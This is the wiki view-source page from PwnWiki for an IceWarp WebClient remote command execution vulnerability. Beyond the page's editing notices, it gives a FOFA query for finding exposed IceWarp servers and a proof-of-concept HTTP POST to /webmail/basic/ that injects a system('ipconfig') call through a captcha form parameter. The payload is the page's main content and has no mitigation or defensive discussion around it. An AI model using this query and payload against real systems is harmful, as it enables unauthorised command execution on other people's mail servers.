View source for IceWarp WebClient basic 遠程命令執行漏洞/en

From PwnWiki

← IceWarp WebClient basic 遠程命令執行漏洞/en

You do not have permission to edit this page, for the following reasons:

The action you have requested is limited to users in the group: Users.
This page cannot be updated manually. This page is a translation of the page IceWarp WebClient basic 遠程命令執行漏洞 and the translation can be updated using the translation tool.
You must confirm your email address before editing pages. Please set and validate your email address through your user preferences.

You can view and copy the source of this page.

<languages />
==Vulnerability Impact==
IceWarp WebClient

==FOFA==
<pre>
app="IceWarp-公司产品"
</pre>

==POC==
<pre>
POST /webmail/basic/ HTTP/1.1
Host: x.x.x.x
Content-Type: application/x-www-form-urlencoded
Cookie: use_cookies=1
Content-Length: 43
_dlg[captcha][target]=system(\'ipconfig\')\
</pre>

Return to IceWarp WebClient basic 遠程命令執行漏洞/en.

Retrieved from "https://pwnwiki.com/index.php?title=IceWarp_WebClient_basic_遠程命令執行漏洞/en"